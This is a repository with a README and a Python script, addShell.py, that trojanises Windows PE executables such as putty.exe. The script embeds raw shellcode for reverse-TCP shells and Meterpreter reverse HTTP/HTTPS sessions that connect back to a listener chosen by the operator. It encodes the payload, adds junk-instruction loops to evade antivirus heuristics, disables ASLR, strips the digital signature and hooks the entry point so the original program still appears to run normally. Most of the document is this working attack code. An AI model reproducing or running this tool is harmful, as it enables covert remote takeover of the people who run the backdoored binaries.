├── README.md └── addShell.py /README.md: -------------------------------------------------------------------------------- 1 | My implementation of automatically adding a backdoor shell to a PE file. 2 | 3 | Usage: usage python addShell.py [OPTIONS] 4 | Example: python addShell.py -f ./putty.exe -H 192.168.1.10 -P 443 -p 3 5 | 6 | Options: 7 | -h, --help show this help message and exit 8 | -f FILE Specify input PE file to backdoor 9 | -o OUTPUT Specify output location to save backdoored file. 10 | Default=inputFile_evil.exe 11 | -H HOSTIP Specify IP Address of listening Host for reverse connection, ex: 192.168.1.10 12 | -P PORT Specify listening port number, ex: 4321 13 | -s SHELLCODE Specify custom shellcode to use, NOTE: this feature in backdoor mode adds 310 bytes to shellcode size 14 | NOTE: must be in "feedbeef" hex format, recommend using the following command to properly format shellcode: 15 | msfvenom -p windows/meterpreter/reverse_https LHOST=1.2.3.4 LPORT=443 -f raw | xxd -p | tr -d " " 16 | -p PAYLOAD Specify payload. Default shell_reverse_tcp. Valid values are: 17 | 0 - windows/shell_reverse_tcp 18 | 1 - windows/meterpreter/reverse_http 19 | 2 - windows/meterpreter/reverse_http +PrependMigrate 20 | 3 - windows/meterpreter/reverse_https 21 | 4 - windows/meterpreter/reverse_https +PrependMigrate 22 | -m MODE Specify program mode. Program was designed to backdoor executables, but if you really need to, you can disable normal program execution with the FRONTDOOR mode. 23 | Valid values are (Default 0): 24 | 0 - BACKDOOR 25 | 1 - FRONTDOOR 26 | -t TARGETOS Specify the target Operating System (used for preserving ESP). Default Win7_64bit. Valid values are: 27 | 0 - Win7_32bit 28 | 1 - Win7_64bit 29 | 2 - Win8.1_64bit 30 | 3 - Win10_64bit 31 | -d OFFSET Specify the offset distance between shellcode and start of cave. Recommend increasing this value if PE is crashing after shell. 32 | Default: 4 33 | -j NUM_JUNK Specify the number of "Junk" Instructions to use in heuristic bypass routine. 34 | Default 30 35 | -J NUM_JUNK_ITER Specify the number of times to iterate over all "Junk" Instructions used in heuristic bypass routine. 36 | Default 20,000,000 37 | -e NUM_ENCODE Specify number of random operations used to encode the shellcode. 38 | Default: 10, Max: 40 39 | -------------------------------------------------------------------------------- /addShell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import random, optparse, pefile, capstone, binascii, struct, os 3 | 4 | encodingInstrHex = [] # String of hex bytes used for encoding, format feedbeef 5 | decodingInstrHex = [] # String of hex bytes used for decoding, format feedbeef 6 | encodingOperation = [] # Array of mathematical commands used internally to perform endcoding calclations 7 | decodingOperation = [] # Array of mathematical commands used internally to perform decoding calclations 8 | 9 | junkRoutine = "" 10 | codedShell = "" 11 | 12 | def p(x): 13 | return struct.pack(' 255: 63 | hexValueInt = hexValueInt % 256 64 | 65 | hexValue = hex(hexValueInt) 66 | hexValue = hexValue[hexValue.find('x')+1:] 67 | hexValue = filloutHex(hexValue) 68 | 69 | if hexValueInt < 0: 70 | hexValue = hex((0xff^hexValueInt)+1) 71 | hexValue = hexValue[hexValue.find('x')+1:] 72 | hexValue = filloutHex(str(hexValue)) 73 | 74 | return hexValue 75 | 76 | 77 | def generateJunkInstr(numInstr, numIterations): 78 | global junkRoutine 79 | junkInstrConstHex = ['4048', '43', '4b', '41', '49', '42', '4A', '90', '6061', '9C9D', '31DB', '31C9', '31D2'] 80 | justJunkArrayHex = [] # only contains junk instructions 81 | fullJunkArrayHex = [] # includes junk instructions plus setup for loops 82 | fullJunkArrayHex.append("31C0") # xor eax,eax to zero out eax register for junk loop 83 | fullJunkArrayHex.append("40") # eax is counter for junk loop 84 | 85 | for i in range(numInstr): 86 | randValue = random.randrange(0,len(junkInstrConstHex)) 87 | fullJunkArrayHex.append(junkInstrConstHex[randValue]) 88 | justJunkArrayHex.append(junkInstrConstHex[randValue]) 89 | 90 | fullJunkArrayHex.append("3D"+str(numIterations)) # cmp eax,numIterations 91 | jmpSize = len("".join(justJunkArrayHex))/2 + 8 # plus 8 is for the cmp, inc, and something else FIND OUT LATER!!! 92 | 93 | if jmpSize > 127: 94 | print "[!] Junk Routine is " + str(jmpSize) + " Bytes!! Can't use short jump instr, feature not yet implemented.\nManually add Jmp -0x" + str(jmpSize) + " Instruction" 95 | exit() 96 | else: 97 | jmpSize *= -1 98 | jmpSize = formatByte(hex(jmpSize)) 99 | fullJunkArrayHex.append("7E" + jmpSize) # jmp backwards to start of junk instructions 100 | 101 | fullJunkArrayHex.append("90909090") # add nops between loops for visibility 102 | justJunkArrayHex = [] # clear out junk instruction queue 103 | fullJunkArrayHex.append("48") # eax is counter for junk loop 104 | 105 | for i in range(numInstr): 106 | randValue = random.randrange(0,len(junkInstrConstHex)) 107 | fullJunkArrayHex.append(junkInstrConstHex[randValue]) 108 | justJunkArrayHex.append(junkInstrConstHex[randValue]) 109 | 110 | fullJunkArrayHex.append("83F800") # cmp eax,0 111 | jmpSize = len("".join(justJunkArrayHex))/2 + 6 112 | 113 | if jmpSize > 127: 114 | print "[!] Junk Routine is " + str(jmpSize) + " Bytes!! Can't use short jump instr, feature not yet implemented.\nPlease choose a smaller number of Junk Instructions" 115 | exit() 116 | else: 117 | jmpSize *= -1 118 | jmpSize = formatByte(hex(jmpSize)) 119 | fullJunkArrayHex.append("7D" + jmpSize) # jmp backwards to start of junk instructions 120 | 121 | junkRoutine = "".join(fullJunkArrayHex) 122 | 123 | 124 | def convertToArray(hexString): 125 | hexStringArray = [] 126 | 127 | for i in range(len(hexString)): 128 | if i%2 == 0: 129 | hexStringArray.append(hexString[i:i+2]) 130 | 131 | return hexStringArray 132 | 133 | 134 | # Shellcode obtained from msfvenom 135 | def generateShellcode(ip, port, payload, backdoorMode): 136 | if payload == 0: 137 | ipArray = ip.split(".") 138 | ipHex = "" 139 | 140 | for i in ipArray: 141 | ipHexTemp = hex(int(i))[2:] 142 | ipHex += formatByte(ipHexTemp) 143 | 144 | portHex = "0"*(4-(len(hex(port))-2))+hex(port)[2:] 145 | 146 | if backdoorMode: 147 | # windows/shell_reverse_tcp EXITFUNC=none 148 | shellcode = "9090909090909090fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568" + ipHex + "680200" + portHex + "89e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e046564eff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5" 149 | else: 150 | #windows/shell_reverse_tcp EXITFUNC=process 151 | shellcode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568" + ipHex + "680200" + portHex + "89e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5" 152 | 153 | shellcode = convertToArray(shellcode) 154 | else: 155 | ipHex = ip.encode("hex") 156 | portHex = "0"*(4-(len(hex(port))-2))+hex(port)[2:] 157 | portHex = portHex[2:4]+portHex[0:2] 158 | 159 | if payload == 1: # windows/meterpreter/reverse_http 160 | shellcode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353683a5679a7ffd553536a03535368" + portHex + "0000e8780000002f42572d435300506857899fc6ffd589c653680002608453535357535668eb552e3bffd5966a0a5f5353535356682d06187bffd585c0750a4f75ed68f0b5a256ffd56a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cd8b0701c385c075e558c35fe889ffffff" + ipHex + "00" 161 | elif payload == 2: # windows/meterpreter/reverse_http PREPENDMIGRATE=true PREPENDMIGRATEPROC=svchost.exe 162 | shellcode = "fce98d0000005d83c50b81c470feffff8d5424605268b14a6bb1ffd58d442460eb605e8d7860575031db5353680400000853535356536879cc3f86ffd585c0745c6a4080c710535331db53ff3768ae87923fffd5546846010000eb3c50ff3768c5d8bde7ffd55353538b4c24fc515353ff3768c6ac9a79ffd56aff6844f035e0ffd5e89bffffff737663686f73742e65786500e86effffffe8bffffffffce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353683a5679a7ffd553536a03535368" + portHex + "0000e8780000002f3456316c3500506857899fc6ffd589c653680002608453535357535668eb552e3bffd5966a0a5f5353535356682d06187bffd585c0750a4f75ed68f0b5a256ffd56a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cd8b0701c385c075e558c35fe889ffffff" + ipHex + "00" 163 | elif payload == 3: # windows/meterpreter/reverse_https PREPENDMIGRATE=false 164 | shellcode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353683a5679a7ffd553536a03535368" + portHex + "0000e88c0000002f39304f6d3700506857899fc6ffd589c653680032e08453535357535668eb552e3bffd5966a0a5f688033000089e06a04506a1f566875469e86ffd55353535356682d06187bffd585c0750a4f75d968f0b5a256ffd56a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cd8b0701c385c075e558c35fe875ffffff" + ipHex + "00" 165 | elif payload == 4: # windows/meterpreter/reverse_https PREPENDMIGRATE=true PREPENDMIGRATEPROC=svchost.exe 166 | shellcode = "fce98d0000005d83c50b81c470feffff8d5424605268b14a6bb1ffd58d442460eb605e8d7860575031db5353680400000853535356536879cc3f86ffd585c0745c6a4080c710535331db53ff3768ae87923fffd554685a010000eb3c50ff3768c5d8bde7ffd55353538b4c24fc515353ff3768c6ac9a79ffd56aff6844f035e0ffd5e89bffffff737663686f73742e65786500e86effffffe8bffffffffce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353683a5679a7ffd553536a03535368" + portHex + "0000e88c0000002f634c32483300506857899fc6ffd589c653680032e08453535357535668eb552e3bffd5966a0a5f688033000089e06a04506a1f566875469e86ffd55353535356682d06187bffd585c0750a4f75d968f0b5a256ffd56a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cd8b0701c385c075e558c35fe875ffffff" + ipHex + "00" 167 | else: # This should never happen 168 | print "[!] Invalid payload chosen" 169 | exit() 170 | 171 | if backdoorMode: 172 | shellcode = formatCustomShellcode(shellcode) 173 | else: 174 | shellcode = convertToArray(shellcode) 175 | 176 | return shellcode 177 | 178 | 179 | # prepending shellcode was obtained from backdoor factory's "user_supplied_shellcode_threaded" method. This allows the program to execute shellcode plus start normally 180 | def formatCustomShellcode(buf): 181 | buf = binascii.unhexlify(buf) 182 | 183 | shellcode2 = "\xE8\xB7\xFF\xFF\xFF" 184 | shellcode2 += buf 185 | shellcode1 = "\xFC\x90\xE8\xC1\x00\x00\x00\x60\x89\xE5\x31\xD2\x90\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\xEB\x02\x41\x10\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\x49\x75\xEF\x52\x90\x57\x8B\x52\x10\x90\x8B\x42\x3C\x01\xD0\x90\x8B\x40\x78\xEB\x07\xEA\x48\x42\x04\x85\x7C\x3A\x85\xC0\x0F\x84\x68\x00\x00\x00\x90\x01\xD0\x50\x90\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x58\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x90\x31\xC0\xEB\x04\xFF\x69\xD5\x38\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\xEB\x05\x7F\x1B\xD2\xEB\xCA\x75\xE6\x03\x7D\xF8\x3B\x7D\x24\x75\xD4\x58\x90\x8B\x58\x24\x01\xD3\x90\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x90\xEB\x04\xCD\x97\xF1\xB1\x8B\x04\x8B\x01\xD0\x90\x89\x44\x24\x24\x5B\x5B\x61\x90\x59\x5A\x51\xEB\x01\x0F\xFF\xE0\x58\x90\x5F\x5A\x8B\x12\xE9\x53\xFF\xFF\xFF\x90\x5D\x90\xBE" 186 | shellcode1 += struct.pack("= caveMin: 310 | caveStartArray.append(caveStart+1) 311 | caveSizeArray.append(caveCount) 312 | 313 | # reset cave values 314 | inCave = False 315 | caveCount = 0 316 | caveStart = 0 317 | 318 | if hexValue == "00": 319 | if inCave == False: 320 | #start of cave 321 | caveCount = 1 322 | caveStart = index -1 323 | inCave = True 324 | else: 325 | #continuing in cave 326 | caveCount += 1 327 | return caveStartArray, caveSizeArray 328 | 329 | 330 | # returns virtual address from raw address using the formula: virtual_address = rawAddress - section.PointerToRawData + section.VirtualAddress + optional_header.imageBase 331 | def getVirtAddr(pe, rawAddr): 332 | peSection = None 333 | 334 | for i in pe.sections: 335 | if (rawAddr > i.PointerToRawData) and (rawAddr < (i.PointerToRawData+i.SizeOfRawData)): 336 | peSection = i 337 | break 338 | 339 | virtAddr = rawAddr - peSection.PointerToRawData + peSection.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase 340 | 341 | return virtAddr 342 | 343 | 344 | def getSection(pe, rawAddr): 345 | peSection = None 346 | 347 | for i in pe.sections: 348 | if (rawAddr > i.PointerToRawData) and (rawAddr < (i.PointerToRawData+i.SizeOfRawData)): 349 | peSection = i 350 | break 351 | 352 | if peSection == None: 353 | print "[!] Something Strange is happening with this PE, Unable to identify PE Section of code cave." 354 | print "[!] Exiting now..." 355 | exit() 356 | 357 | return i 358 | 359 | 360 | # returns an array describing the both code cave in this format [cave1StartRawAddr, cave1StartVirtAddr, cave1Size, cave2StartRawAddr, cave2StartVirtAddr, cave2Size]. Offset is a user-defined value that specifies how far into codecave shellcode should start. Default is 4 Bytes 361 | def findCaves(binPath, offset): 362 | junkCaveSize = (len(junkRoutine) + len(decodingInstrHex))/2 + 35 + offset 363 | shellcodeCaveSize = len(codedShell)/2 + 24 + offset 364 | tempPeInstance = pefile.PE(binPath) 365 | 366 | print "[*] Required cave space for shellcode with offset is:" 367 | print "\t[+] Heuristic/Decoding Routines:\t" + str(junkCaveSize) + " bytes" 368 | print "\t[+] Enocoded Shellcode:\t\t\t" + str(shellcodeCaveSize) + " bytes" 369 | 370 | # find cave for junk and decoding routines 371 | try: 372 | cave1StartRawAddrArray, cave1SizeArray = listCaves(binPath, junkCaveSize) 373 | except: 374 | print "[!] No suitable caves found, please try a smaller offset" 375 | exit() 376 | 377 | #remove caves in PE Header 378 | peHeaderEnd = tempPeInstance.sections[0].PointerToRawData 379 | tempArray = list(cave1StartRawAddrArray) # create copy of array first so that ALL values will be looped through 380 | 381 | for i in tempArray: 382 | if i < peHeaderEnd: 383 | element = cave1StartRawAddrArray.index(i) 384 | del cave1StartRawAddrArray[element] 385 | del cave1SizeArray[element] 386 | if len(cave1StartRawAddrArray) == 0: 387 | print "[!] No suitable caves were found, please try a smaller offset" 388 | exit() 389 | 390 | print "\n[*] The following suitable code caves were identified:" 391 | print "\t[+] Virt Addr\tSize(bytes)" 392 | for i in range(len(cave1StartRawAddrArray)): 393 | print "\t " + hex(getVirtAddr(tempPeInstance, cave1StartRawAddrArray[i])) + "\t" + str(cave1SizeArray[i]) 394 | 395 | cave1StartRawAddrArray = [i+offset for i in cave1StartRawAddrArray] 396 | cave1SizeArray = [i-offset for i in cave1SizeArray] 397 | 398 | randCave = random.randrange(0,len(cave1StartRawAddrArray)) 399 | cave1StartRawAddr = cave1StartRawAddrArray[randCave] 400 | cave1StartVirtAddr = getVirtAddr(tempPeInstance, cave1StartRawAddr) 401 | cave1Size = cave1SizeArray[randCave] 402 | 403 | print "\n[*] Randomly choosing to store heuristic/decoding routines in cave:\t" + hex(getVirtAddr(tempPeInstance, cave1StartRawAddr-offset)) 404 | 405 | # make a copy of cave1 Arrays 406 | cave2StartRawAddrArray = list(cave1StartRawAddrArray) 407 | cave2SizeArray = list(cave1SizeArray) 408 | 409 | for i in cave1StartRawAddrArray: 410 | element = cave2StartRawAddrArray.index(i) 411 | if cave2SizeArray[element] < (shellcodeCaveSize - offset): 412 | del cave2StartRawAddrArray[element] 413 | del cave2SizeArray[element] 414 | 415 | if len(cave2StartRawAddrArray) == 0: 416 | print "[!] No suitable caves were found, please try a smaller offset" 417 | exit() 418 | 419 | try: 420 | # Make sure the same cave wasn't chosen 421 | indexCave1 = cave2StartRawAddrArray.index(cave1StartRawAddr) 422 | del cave2StartRawAddrArray[indexCave1] 423 | except: 424 | #couldn't find cave1Addr in cave2 List, this is fine, but python list.index() funcion will throw an exception 425 | pass 426 | 427 | #remove caves in PE Header, peHeaderEnd variable was set previously 428 | tempArray = list(cave2StartRawAddrArray) 429 | 430 | for i in tempArray: 431 | if i < peHeaderEnd: 432 | element = cave2StartRawAddrArray.index(i) 433 | del cave2StartRawAddrArray[element] 434 | del cave2SizeArray[element] 435 | 436 | if len(cave2StartRawAddrArray) == 0: 437 | print "[!] No suitable caves were found, either try again or use a smaller offset" 438 | exit() 439 | 440 | randCave = random.randrange(0,len(cave2StartRawAddrArray)) 441 | cave2StartRawAddr = cave2StartRawAddrArray[randCave] 442 | cave2StartVirtAddr = getVirtAddr(tempPeInstance, cave2StartRawAddr) 443 | cave2Size = cave2SizeArray[randCave] 444 | 445 | caveInfo = [cave1StartRawAddr, cave1StartVirtAddr, cave1Size, cave2StartRawAddr, cave2StartVirtAddr, cave2Size] 446 | print "[*] Randomly choosing to store encoded shellcode in cave:\t\t" + hex(getVirtAddr(tempPeInstance, cave2StartRawAddr-offset)) 447 | 448 | return caveInfo 449 | 450 | 451 | def fillOut4ByteHex(hexValue): 452 | return "0x" + "0"*(8-(len(hex(hexValue))-2))+hex(hexValue)[2:] 453 | 454 | 455 | # This takes in 2 integers and gives you valid jmp code to get there by calcualting the relative distance. Now works forwards and backwards 456 | def getJmpCode(startAddrVirt, jmpAddrVirt): 457 | jmpRelAddr = jmpAddrVirt - startAddrVirt - 5 458 | if jmpRelAddr > 0: 459 | jmpRelAddrHex = "0x" + "0"*(8-(len(hex(jmpRelAddr))-2))+hex(jmpRelAddr)[2:] # fill out jmpAddress to 4 byte hex value 460 | else: 461 | jmpRelAddrHex = hex(0xffffffff + jmpRelAddr + 1) # convert negative number to proper 4byte hex value 462 | jmpRelAddrHex = jmpRelAddrHex.rstrip("L") 463 | 464 | jmpRelAddrArray = [jmpRelAddrHex] 465 | jmpRelAddrSwapped = "".join(switchEndians(jmpRelAddrArray)) 466 | 467 | # this is the opcode used to jump to code cave 468 | jmpASM = "e9" + jmpRelAddrSwapped[2:] 469 | return jmpASM 470 | 471 | 472 | def getEntryPoint(pe): 473 | return pe.OPTIONAL_HEADER.AddressOfEntryPoint - pe.OPTIONAL_HEADER.BaseOfCode + getSection(pe, pe.OPTIONAL_HEADER.AddressOfEntryPoint).PointerToRawData 474 | 475 | 476 | def getEntryPointInstr(pe): 477 | ep_bin = pe.OPTIONAL_HEADER.AddressOfEntryPoint 478 | origInstrArray = [] 479 | offset = 0 480 | 481 | origInstr = pe.get_memory_mapped_image()[ep_bin:ep_bin+5+30] # our jmp command will take up 5 bytes, extra 30 bytes is to avoid partial commands 482 | md = capstone.Cs(capstone.CS_ARCH_X86,capstone.CS_MODE_32) 483 | 484 | prevOffset = 0 485 | 486 | for i in md.disasm(str(origInstr), 0x0): 487 | # Add last instruction to array 488 | if i.address != 0: 489 | origInstrArray.append(origInstr[prevOffset:i.address]) 490 | 491 | # stop looping once at least 5 bytes of instructions have been preserved 492 | if i.address >= 5: 493 | break 494 | 495 | prevOffset = i.address 496 | 497 | return origInstrArray 498 | 499 | 500 | # takes in PE file object, raw offset address, and code in feedbeef form 501 | def writeCode(pe, codeStart, code): 502 | pe.set_bytes_at_offset(codeStart, binascii.unhexlify(code)) 503 | return pe 504 | 505 | 506 | def writeBackdoorCode(pe, caveInfo, origInstrArray, OSesp): 507 | contProgCode = "" 508 | 509 | backdoorCode = "609c" #pushad, pushfd 510 | backdoorCode += junkRoutine + "90"*8 511 | 512 | caveInfo4 = [fillOut4ByteHex(caveInfo[4])] 513 | caveInfo4 = switchEndians(caveInfo4) 514 | caveInfo4 = caveInfo4[0][2:] 515 | 516 | backdoorCode += "b8" + caveInfo4 517 | backdoorCode += "90"*8 + decodingInstrHex 518 | 519 | caveInfo4End = fillOut4ByteHex(caveInfo[4] + len(codedShell)/2 - 1) 520 | caveInfo4End = switchEndians(caveInfo4End) 521 | caveInfo4End = caveInfo4End[0][2:] 522 | 523 | backdoorCode += '3d' + caveInfo4End 524 | 525 | cmpValue = len("".join(decodingInstrHex))/2+7 # size of encoded shellcode + 7 for cmp opcode and jmp short command 526 | cmpValue *= -1 527 | cmpValue = formatByte(hex(cmpValue)) 528 | 529 | backdoorCode += '7e' + cmpValue 530 | backdoorCode += getJmpCode(caveInfo[1]+len(backdoorCode)/2, caveInfo[4]) 531 | 532 | pe = writeCode(pe, caveInfo[0], backdoorCode) 533 | pe = writeCode(pe, caveInfo[3], codedShell) 534 | pe = writeCode(pe, caveInfo[3]+len(codedShell)/2, "909090bc" + OSesp + "9d61") #nops set ESP, popfd popad 535 | 536 | currentRawAddr = caveInfo[3]+len(codedShell)/2 + 10 537 | currentVirtAddr = caveInfo[4]+len(codedShell)/2 + 10 538 | preOrgInstLoopVirtAddr = currentVirtAddr 539 | 540 | entryPoint = getEntryPoint(pe) 541 | entryPointVirt = getVirtAddr(pe, entryPoint) 542 | 543 | for i in origInstrArray: 544 | i = binascii.hexlify(i) 545 | 546 | # This will recalculate the relative value for JMP or CALL opcodes by calculating the relative jump between the current addr and (entryPointAddr+originalInstrJmp) 547 | if i[:2].upper() == "E9" or i[:2].upper() == "E8": 548 | dest = eval("0x"+i[2:]) 549 | dest = switchEndians(hex(dest))[0] 550 | dest = eval(dest) 551 | i_rel = getJmpCode(currentVirtAddr, entryPointVirt+dest+5) # plus 5 because we don't need to do the -5 between these addresses (-5 is done in getJmpCode method) 552 | i = i[:2] + i_rel[2:] 553 | 554 | contProgCode += i 555 | currentVirtAddr += len(i)/2 556 | 557 | preservedInstrLength = (currentVirtAddr - preOrgInstLoopVirtAddr) 558 | contProgCode += getJmpCode(currentVirtAddr, entryPointVirt + preservedInstrLength) 559 | pe = writeCode(pe, currentRawAddr, contProgCode) 560 | 561 | return pe 562 | 563 | 564 | # process command line arguments and provide help output if needed 565 | def processInputParameters(): 566 | parser = optparse.OptionParser('usage python addShell.py [OPTIONS]\nExample: python addShell.py -f ./putty.exe -H 192.168.1.10 -P 4321') 567 | parser.add_option('-f', dest='file', type='string', help='Specify input PE file to backdoor') 568 | parser.add_option('-o', dest='output', type='string', help='Specify output location to save backdoored file. Default=inputFile_evil.exe') 569 | parser.add_option('-H', dest='hostIP', type='string', help='Specify IP Address of listening Host for reverse connection, ex: 192.168.1.10') 570 | parser.add_option('-P', dest='port', type='int', help='Specify listening port number, ex: 4321') 571 | parser.add_option('-s', dest='shellcode', type='string', help='Specify custom shellcode to use, NOTE: this feature in backdoor mode adds 310 bytes to shellcode size NOTE: must be in "feedbeef" hex format, recommend using the following command to properly format shellcode: msfvenom -p windows/meterpreter/reverse_https LHOST=1.2.3.4 LPORT=443 -f raw | xxd -p | tr -d "\n"') 572 | parser.add_option('-p', dest='payload', type='int', help='Specify payload. Default shell_reverse_tcp. Valid values are: 0 - windows/shell_reverse_tcp 1 - windows/meterpreter/reverse_http 2 - windows/meterpreter/reverse_http +PrependMigrate 3 - windows/meterpreter/reverse_https 4 - windows/meterpreter/reverse_https +PrependMigrate', default=0) 573 | parser.add_option('-m', dest='mode', type='int', help='Specify program mode. Program was designed to backdoor executables, but if you really need to you can disable normal program execution with the FRONTDOOR mode. NOTE: you should really be using Veil-Evasion for this. Valid values are (Default 0): 0 - BACKDOOR 1 - FRONTDOOR', default=0) 574 | parser.add_option('-t', dest='targetOS', type='int', help='Specify the target Operating System (used for preserving ESP). Default Win7_64bit. Valid values are: 0 - Win7_32bit 1 - Win7_64bit 2 - Win8.1_64bit 3 - Win10_64bit ', default=1) 575 | parser.add_option('-d', dest='offset', type='int', help='Specify the offset distance between shellcode and start of cave. Recommend increasing this value if PE is crashing after shell. Default: 4', default=4) 576 | parser.add_option('-j', dest='num_Junk', type='int', help='Specify the number of "Junk" Instructions to use in heuristic bypass routine. Default 30', default=30) 577 | parser.add_option('-J', dest='num_junk_iter', type='int', help='Specify the number of times to iterate over all "Junk" Instructions used in heuristic bypass routine. Default 20,000,000', default=19999998) 578 | parser.add_option('-e', dest='num_Encode', type='int', help='Specify number of random operations used to encode the shellcode. Default: 10, Max: 40', default=10) 579 | (options, args) = parser.parse_args() 580 | 581 | if options.file == None: 582 | parser.error("Must provide PE file to backdoor") 583 | elif os.path.exists(str(options.file)) == False: 584 | parser.error("input file does not exist") 585 | 586 | if options.output == None: 587 | indexName = options.file.rfind(".") 588 | if indexName == -1: 589 | options.output = "evil_" + str(options.file) 590 | else: 591 | options.output = str(options.file)[:indexName] + "_evil.exe" #+ str(options.file)[indexName+1:] 592 | 593 | if (options.targetOS > 3) or (options.targetOS < 0): 594 | parser.error("Must provide valid target OS. Accepted Values are 0-3") 595 | else: 596 | osValueArray = ["68ff1200", "68ff1800", "60ff1800", "60ff1900"] # byte-swapped ESP values for each OS 597 | options.targetOS = osValueArray[options.targetOS] 598 | 599 | if (options.mode > 1) or (options.mode < 0): 600 | parser.error("Must provide valid mode. Accepted values are 0 and 1") 601 | else: 602 | backdoorMode = not bool(options.mode) # True for backdoor mode, False for frontdoor mode 603 | 604 | if (options.payload > 4) or (options.payload < 0): 605 | parser.error("Must provide valid payload. Accepted Values are 0-4") 606 | 607 | if (options.hostIP == None or options.port == None) and (options.shellcode == None): 608 | parser.error("Must provide either Listener IP/port or custom shellcode") 609 | elif (options.shellcode != None) and (options.hostIP != None or options.port != None): 610 | parser.error("Only provide custom shellcode OR Listener IP/port, cannot provide both") 611 | elif (options.shellcode != None) and (options.payload == 1): 612 | parser.error("Only provide payload OR custom shellcode, cannot provide both") 613 | 614 | if (options.port < 0 and options.port != None) or (options.offset < 0) or (options.num_Junk < 0) or (options.num_junk_iter < 0) or (options.num_Encode < 0): 615 | parser.error("Must use positive integer") 616 | 617 | if (options.num_Encode > 40): 618 | parser.error("Number of Encoding Instructions must be less than 40. Currently using SHORT JMP instruction to loop backwards, which only supports up to 127 byte jumps") 619 | 620 | junkIterations = str(switchEndians(hex(options.num_junk_iter/2))[0]) 621 | junkIterations = junkIterations[2:] 622 | 623 | if options.shellcode == None: 624 | if len(options.hostIP.split(".")) != 4: 625 | parser.error("Please enter a properly formatted IP address (e.g. 192.168.1.2)") 626 | exit() 627 | if (options.port > 65535) or (options.port < 1): 628 | parser.error("Please enter a valid port number between 1 and 65535") 629 | exit() 630 | backdoorShellcode = generateShellcode(options.hostIP, options.port, options.payload, backdoorMode) 631 | else: 632 | if backdoorMode: 633 | backdoorShellcode = formatCustomShellcode(options.shellcode) 634 | else: 635 | backdoorShellcode = convertToArray(options.shellcode) 636 | 637 | 638 | return options.file, options.output, backdoorShellcode, options.targetOS, options.offset, options.num_Junk, junkIterations, options.num_Encode 639 | 640 | 641 | def main(): 642 | peFilePath, outputFile, shellcode, OSesp, offset, junkCount, junkIterations, encoderCount = processInputParameters() 643 | 644 | pe = pefile.PE(peFilePath) 645 | if check_64bit(pe): 646 | print "Adding Shellcode to 64-bit executables is not currently implemented, please select a 32-bit application" 647 | exit() 648 | 649 | pe = make_writeable(pe) 650 | pe = disable_aslr(pe) 651 | pe = removeSignature(pe) # this removes the digital signature, Windows still throws an unsigned warning, but probably better than an Invalid warning 652 | 653 | # set global variables based on command line arguments 654 | generateJunkInstr(junkCount, junkIterations) 655 | generateEncoderDecoder(encoderCount) 656 | encodeShellcode(shellcode) 657 | 658 | # find caves and preserved original entry instructions 659 | caveInfo = findCaves(peFilePath,offset) 660 | origInstrArray = getEntryPointInstr(pe) 661 | 